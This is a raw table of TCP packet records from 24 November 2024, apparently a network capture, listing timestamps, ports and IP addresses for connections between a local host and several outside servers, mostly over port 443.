Nov 24, 2024 00:06:32.014393091 CET	443	49765	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:32.014794111 CET	49765	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:32.014797926 CET	443	49765	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:32.035960913 CET	443	49762	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:32.036609888 CET	49762	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:32.036626101 CET	443	49762	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:32.037192106 CET	49762	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:32.037197113 CET	443	49762	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:32.173482895 CET	443	49764	172.202.163.200	192.168.2.6
Nov 24, 2024 00:06:32.173552990 CET	49764	443	192.168.2.6	172.202.163.200
Nov 24, 2024 00:06:32.175576925 CET	49764	443	192.168.2.6	172.202.163.200
Nov 24, 2024 00:06:32.175581932 CET	443	49764	172.202.163.200	192.168.2.6
Nov 24, 2024 00:06:32.175806999 CET	443	49764	172.202.163.200	192.168.2.6
Nov 24, 2024 00:06:32.217952967 CET	49764	443	192.168.2.6	172.202.163.200
Nov 24, 2024 00:06:32.233203888 CET	49764	443	192.168.2.6	172.202.163.200
Nov 24, 2024 00:06:32.260011911 CET	443	49766	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:32.260503054 CET	49766	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:32.260520935 CET	443	49766	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:32.260941029 CET	49766	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:32.260946989 CET	443	49766	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:32.275366068 CET	443	49764	172.202.163.200	192.168.2.6
Nov 24, 2024 00:06:32.354924917 CET	443	49763	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:32.355110884 CET	443	49763	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:32.355226040 CET	49763	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:32.355458021 CET	49763	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:32.355475903 CET	443	49763	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:32.355515003 CET	49763	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:32.355520964 CET	443	49763	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:32.358419895 CET	49776	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:32.358489037 CET	443	49776	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:32.358779907 CET	49776	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:32.359023094 CET	49776	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:32.359056950 CET	443	49776	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:32.408771038 CET	443	49767	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:32.409272909 CET	49767	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:32.409284115 CET	443	49767	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:32.409771919 CET	49767	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:32.409775972 CET	443	49767	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:32.464170933 CET	443	49768	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:32.464632988 CET	49768	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:32.464693069 CET	443	49768	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:32.465115070 CET	49768	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:32.465127945 CET	443	49768	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:32.466738939 CET	443	49765	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:32.466787100 CET	49765	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:32.466799021 CET	443	49765	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:32.466804981 CET	443	49765	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:32.466852903 CET	49765	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:32.466918945 CET	49765	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:32.466928959 CET	443	49765	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:32.466939926 CET	49765	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:32.467035055 CET	49765	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:32.469882965 CET	443	49762	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:32.469924927 CET	443	49762	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:32.469980955 CET	49762	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:32.470274925 CET	49762	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:32.470289946 CET	443	49762	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:32.470299006 CET	49762	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:32.470304966 CET	443	49762	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:32.473141909 CET	49777	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:32.473221064 CET	443	49777	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:32.473345041 CET	49777	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:32.473496914 CET	49777	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:32.473525047 CET	443	49777	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:32.626183987 CET	49778	443	192.168.2.6	23.218.208.109
Nov 24, 2024 00:06:32.626224995 CET	443	49778	23.218.208.109	192.168.2.6
Nov 24, 2024 00:06:32.626313925 CET	49778	443	192.168.2.6	23.218.208.109
Nov 24, 2024 00:06:32.627516031 CET	49778	443	192.168.2.6	23.218.208.109
Nov 24, 2024 00:06:32.627526999 CET	443	49778	23.218.208.109	192.168.2.6
Nov 24, 2024 00:06:32.807898998 CET	443	49766	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:32.807961941 CET	443	49766	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:32.808057070 CET	49766	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:32.808309078 CET	49766	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:32.808309078 CET	49766	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:32.808324099 CET	443	49766	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:32.808332920 CET	443	49766	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:32.811403990 CET	49779	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:32.811450958 CET	443	49779	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:32.811611891 CET	49779	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:32.811857939 CET	49779	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:32.811903954 CET	443	49779	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:32.847771883 CET	443	49767	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:32.847959995 CET	443	49767	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:32.848196030 CET	49767	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:32.848243952 CET	49767	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:32.848251104 CET	443	49767	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:32.848261118 CET	49767	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:32.848264933 CET	443	49767	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:32.850683928 CET	49780	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:32.850707054 CET	443	49780	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:32.850768089 CET	49780	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:32.850893974 CET	49780	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:32.850905895 CET	443	49780	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:32.873954058 CET	443	49764	172.202.163.200	192.168.2.6
Nov 24, 2024 00:06:32.873976946 CET	443	49764	172.202.163.200	192.168.2.6
Nov 24, 2024 00:06:32.873986006 CET	443	49764	172.202.163.200	192.168.2.6
Nov 24, 2024 00:06:32.874001026 CET	443	49764	172.202.163.200	192.168.2.6
Nov 24, 2024 00:06:32.874022961 CET	443	49764	172.202.163.200	192.168.2.6
Nov 24, 2024 00:06:32.874028921 CET	49764	443	192.168.2.6	172.202.163.200
Nov 24, 2024 00:06:32.874041080 CET	443	49764	172.202.163.200	192.168.2.6
Nov 24, 2024 00:06:32.874069929 CET	49764	443	192.168.2.6	172.202.163.200
Nov 24, 2024 00:06:32.874097109 CET	49764	443	192.168.2.6	172.202.163.200
Nov 24, 2024 00:06:32.894037008 CET	443	49764	172.202.163.200	192.168.2.6
Nov 24, 2024 00:06:32.894109011 CET	443	49764	172.202.163.200	192.168.2.6
Nov 24, 2024 00:06:32.894119024 CET	49764	443	192.168.2.6	172.202.163.200
Nov 24, 2024 00:06:32.894176006 CET	49764	443	192.168.2.6	172.202.163.200
Nov 24, 2024 00:06:32.894380093 CET	49764	443	192.168.2.6	172.202.163.200
Nov 24, 2024 00:06:32.894390106 CET	443	49764	172.202.163.200	192.168.2.6
Nov 24, 2024 00:06:32.894416094 CET	49764	443	192.168.2.6	172.202.163.200
Nov 24, 2024 00:06:32.894422054 CET	443	49764	172.202.163.200	192.168.2.6
Nov 24, 2024 00:06:32.899585962 CET	443	49768	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:32.899633884 CET	443	49768	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:32.899694920 CET	49768	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:32.899873972 CET	49768	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:32.899873972 CET	49768	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:32.899900913 CET	443	49768	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:32.899926901 CET	443	49768	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:32.902345896 CET	49781	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:32.902364969 CET	443	49781	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:32.902482986 CET	49781	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:32.902686119 CET	49781	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:32.902697086 CET	443	49781	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:33.224257946 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:33.224720955 CET	49784	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:33.343641043 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:33.344274998 CET	80	49784	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:33.344362020 CET	49784	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:33.344558001 CET	49784	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:33.464057922 CET	80	49784	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:33.470685005 CET	443	49773	142.250.181.68	192.168.2.6
Nov 24, 2024 00:06:33.471321106 CET	49773	443	192.168.2.6	142.250.181.68
Nov 24, 2024 00:06:33.471333981 CET	443	49773	142.250.181.68	192.168.2.6
Nov 24, 2024 00:06:33.471659899 CET	443	49773	142.250.181.68	192.168.2.6
Nov 24, 2024 00:06:33.472079992 CET	49773	443	192.168.2.6	142.250.181.68
Nov 24, 2024 00:06:33.472146988 CET	443	49773	142.250.181.68	192.168.2.6
Nov 24, 2024 00:06:33.518383026 CET	49773	443	192.168.2.6	142.250.181.68
Nov 24, 2024 00:06:34.099767923 CET	443	49778	23.218.208.109	192.168.2.6
Nov 24, 2024 00:06:34.099905014 CET	49778	443	192.168.2.6	23.218.208.109
Nov 24, 2024 00:06:34.102061033 CET	49778	443	192.168.2.6	23.218.208.109
Nov 24, 2024 00:06:34.102075100 CET	443	49778	23.218.208.109	192.168.2.6
Nov 24, 2024 00:06:34.102303982 CET	443	49778	23.218.208.109	192.168.2.6
Nov 24, 2024 00:06:34.140549898 CET	49778	443	192.168.2.6	23.218.208.109
Nov 24, 2024 00:06:34.140945911 CET	443	49776	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:34.142189980 CET	49776	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:34.142230034 CET	443	49776	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:34.142683029 CET	49776	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:34.142695904 CET	443	49776	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:34.187338114 CET	443	49778	23.218.208.109	192.168.2.6
Nov 24, 2024 00:06:34.256402016 CET	443	49777	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:34.256911993 CET	49777	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:34.256953955 CET	443	49777	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:34.257409096 CET	49777	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:34.257425070 CET	443	49777	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:34.584498882 CET	443	49776	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:34.584666967 CET	443	49776	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:34.584741116 CET	49776	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:34.585002899 CET	49776	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:34.585047960 CET	443	49776	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:34.585077047 CET	49776	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:34.585091114 CET	443	49776	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:34.588118076 CET	49785	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:34.588150978 CET	443	49785	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:34.588262081 CET	49785	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:34.588423967 CET	49785	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:34.588438034 CET	443	49785	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:34.596854925 CET	49787	443	192.168.2.6	172.217.17.78
Nov 24, 2024 00:06:34.596913099 CET	443	49787	172.217.17.78	192.168.2.6
Nov 24, 2024 00:06:34.597038031 CET	49787	443	192.168.2.6	172.217.17.78
Nov 24, 2024 00:06:34.597243071 CET	49787	443	192.168.2.6	172.217.17.78
Nov 24, 2024 00:06:34.597274065 CET	443	49787	172.217.17.78	192.168.2.6
Nov 24, 2024 00:06:34.616398096 CET	443	49781	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:34.616925001 CET	49781	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:34.616942883 CET	443	49781	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:34.617408037 CET	49781	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:34.617412090 CET	443	49781	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:34.630793095 CET	443	49778	23.218.208.109	192.168.2.6
Nov 24, 2024 00:06:34.630891085 CET	443	49778	23.218.208.109	192.168.2.6
Nov 24, 2024 00:06:34.630959988 CET	49778	443	192.168.2.6	23.218.208.109
Nov 24, 2024 00:06:34.631129980 CET	49778	443	192.168.2.6	23.218.208.109
Nov 24, 2024 00:06:34.631129980 CET	49778	443	192.168.2.6	23.218.208.109
Nov 24, 2024 00:06:34.631145954 CET	443	49778	23.218.208.109	192.168.2.6
Nov 24, 2024 00:06:34.631156921 CET	443	49778	23.218.208.109	192.168.2.6
Nov 24, 2024 00:06:34.654252052 CET	443	49779	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:34.654706001 CET	49779	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:34.654725075 CET	443	49779	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:34.655162096 CET	49779	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:34.655174017 CET	443	49779	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:34.679707050 CET	49788	443	192.168.2.6	23.218.208.109
Nov 24, 2024 00:06:34.679737091 CET	443	49788	23.218.208.109	192.168.2.6
Nov 24, 2024 00:06:34.679821968 CET	49788	443	192.168.2.6	23.218.208.109
Nov 24, 2024 00:06:34.680064917 CET	49788	443	192.168.2.6	23.218.208.109
Nov 24, 2024 00:06:34.680092096 CET	443	49788	23.218.208.109	192.168.2.6
Nov 24, 2024 00:06:34.700262070 CET	443	49780	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:34.700706005 CET	49780	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:34.700733900 CET	443	49780	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:34.701162100 CET	49780	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:34.701168060 CET	443	49780	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:34.701431036 CET	443	49777	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:34.701495886 CET	443	49777	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:34.701946020 CET	49777	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:34.701998949 CET	49777	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:34.701998949 CET	49777	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:34.702027082 CET	443	49777	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:34.702052116 CET	443	49777	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:34.706362963 CET	49789	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:34.706392050 CET	443	49789	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:34.706542969 CET	49789	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:34.706995010 CET	49789	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:34.707010984 CET	443	49789	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:35.050462961 CET	443	49781	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:35.050549984 CET	443	49781	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:35.051026106 CET	49781	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:35.057811975 CET	49781	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:35.057811975 CET	49781	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:35.057826996 CET	443	49781	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:35.057836056 CET	443	49781	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:35.061229944 CET	49790	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:35.061275005 CET	443	49790	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:35.061373949 CET	49790	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:35.061638117 CET	49790	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:35.061654091 CET	443	49790	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:35.107009888 CET	443	49779	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:35.107076883 CET	443	49779	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:35.107125044 CET	49779	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:35.107356071 CET	49779	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:35.107356071 CET	49779	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:35.107383966 CET	443	49779	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:35.107409000 CET	443	49779	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:35.112262011 CET	49791	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:35.112292051 CET	443	49791	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:35.112349033 CET	49791	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:35.112943888 CET	49791	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:35.112957954 CET	443	49791	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:35.151459932 CET	443	49780	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:35.151612997 CET	443	49780	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:35.151669979 CET	49780	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:35.151791096 CET	49780	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:35.151801109 CET	443	49780	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:35.151810884 CET	49780	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:35.151814938 CET	443	49780	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:35.156012058 CET	49792	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:35.156049967 CET	443	49792	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:35.156137943 CET	49792	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:35.156415939 CET	49792	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:35.156434059 CET	443	49792	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:35.232152939 CET	80	49784	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:35.232522964 CET	49784	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:35.345890999 CET	49784	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:35.378771067 CET	49773	443	192.168.2.6	142.250.181.68
Nov 24, 2024 00:06:35.378793955 CET	49787	443	192.168.2.6	172.217.17.78
Nov 24, 2024 00:06:35.465326071 CET	80	49784	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:36.176584959 CET	443	49788	23.218.208.109	192.168.2.6
Nov 24, 2024 00:06:36.176678896 CET	49788	443	192.168.2.6	23.218.208.109
Nov 24, 2024 00:06:36.178276062 CET	49788	443	192.168.2.6	23.218.208.109
Nov 24, 2024 00:06:36.178299904 CET	443	49788	23.218.208.109	192.168.2.6
Nov 24, 2024 00:06:36.179357052 CET	443	49788	23.218.208.109	192.168.2.6
Nov 24, 2024 00:06:36.180653095 CET	49788	443	192.168.2.6	23.218.208.109
Nov 24, 2024 00:06:36.223355055 CET	443	49788	23.218.208.109	192.168.2.6
Nov 24, 2024 00:06:36.319010973 CET	80	49784	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:36.319123983 CET	49784	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:36.389367104 CET	443	49785	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:36.389892101 CET	49785	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:36.389904976 CET	443	49785	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:36.390445948 CET	49785	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:36.390450954 CET	443	49785	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:36.490669966 CET	443	49789	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:36.491440058 CET	49789	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:36.491460085 CET	443	49789	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:36.491971016 CET	49789	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:36.491976023 CET	443	49789	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:36.633681059 CET	49793	443	192.168.2.6	20.198.119.84
Nov 24, 2024 00:06:36.633784056 CET	443	49793	20.198.119.84	192.168.2.6
Nov 24, 2024 00:06:36.633946896 CET	49793	443	192.168.2.6	20.198.119.84
Nov 24, 2024 00:06:36.634763002 CET	49793	443	192.168.2.6	20.198.119.84
Nov 24, 2024 00:06:36.634799957 CET	443	49793	20.198.119.84	192.168.2.6
Nov 24, 2024 00:06:36.699016094 CET	443	49788	23.218.208.109	192.168.2.6
Nov 24, 2024 00:06:36.699201107 CET	443	49788	23.218.208.109	192.168.2.6
Nov 24, 2024 00:06:36.699310064 CET	49788	443	192.168.2.6	23.218.208.109
Nov 24, 2024 00:06:36.699990988 CET	49788	443	192.168.2.6	23.218.208.109
Nov 24, 2024 00:06:36.699990988 CET	49788	443	192.168.2.6	23.218.208.109
Nov 24, 2024 00:06:36.700020075 CET	443	49788	23.218.208.109	192.168.2.6
Nov 24, 2024 00:06:36.700042963 CET	443	49788	23.218.208.109	192.168.2.6
Nov 24, 2024 00:06:36.833283901 CET	443	49785	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:36.833353996 CET	443	49785	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:36.833425999 CET	49785	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:36.833722115 CET	49785	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:36.833741903 CET	443	49785	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:36.833751917 CET	49785	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:36.833756924 CET	443	49785	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:36.837054968 CET	49794	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:36.837099075 CET	443	49794	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:36.837723017 CET	49794	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:36.838527918 CET	49794	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:36.838546038 CET	443	49794	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:36.892573118 CET	443	49790	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:36.899806023 CET	49790	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:36.899818897 CET	443	49790	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:36.900337934 CET	49790	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:36.900343895 CET	443	49790	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:36.933896065 CET	443	49789	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:36.934070110 CET	443	49789	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:36.935154915 CET	49789	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:36.941001892 CET	49789	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:36.941028118 CET	443	49789	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:36.941102982 CET	49789	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:36.941128016 CET	443	49789	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:36.986727953 CET	49795	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:36.986764908 CET	443	49795	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:36.986823082 CET	49795	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:36.993329048 CET	443	49792	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:37.045936108 CET	49792	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:37.049787998 CET	49795	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:37.049808979 CET	443	49795	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:37.049979925 CET	49792	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:37.049988031 CET	443	49792	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:37.050456047 CET	49792	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:37.050462008 CET	443	49792	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:37.073833942 CET	443	49791	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:37.082681894 CET	49791	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:37.082700014 CET	443	49791	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:37.083106995 CET	49791	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:37.083115101 CET	443	49791	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:37.336260080 CET	443	49790	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:37.336322069 CET	443	49790	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:37.336400986 CET	49790	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:37.338275909 CET	49790	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:37.338294029 CET	443	49790	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:37.338304043 CET	49790	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:37.338320971 CET	443	49790	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:37.361902952 CET	49796	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:37.361918926 CET	443	49796	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:37.361989021 CET	49796	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:37.362158060 CET	49796	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:37.362170935 CET	443	49796	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:37.435782909 CET	443	49792	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:37.435956001 CET	443	49792	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:37.436048031 CET	49792	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:37.442138910 CET	49792	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:37.442153931 CET	443	49792	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:37.442231894 CET	49792	443	192.168.2.6	13.107.246.63
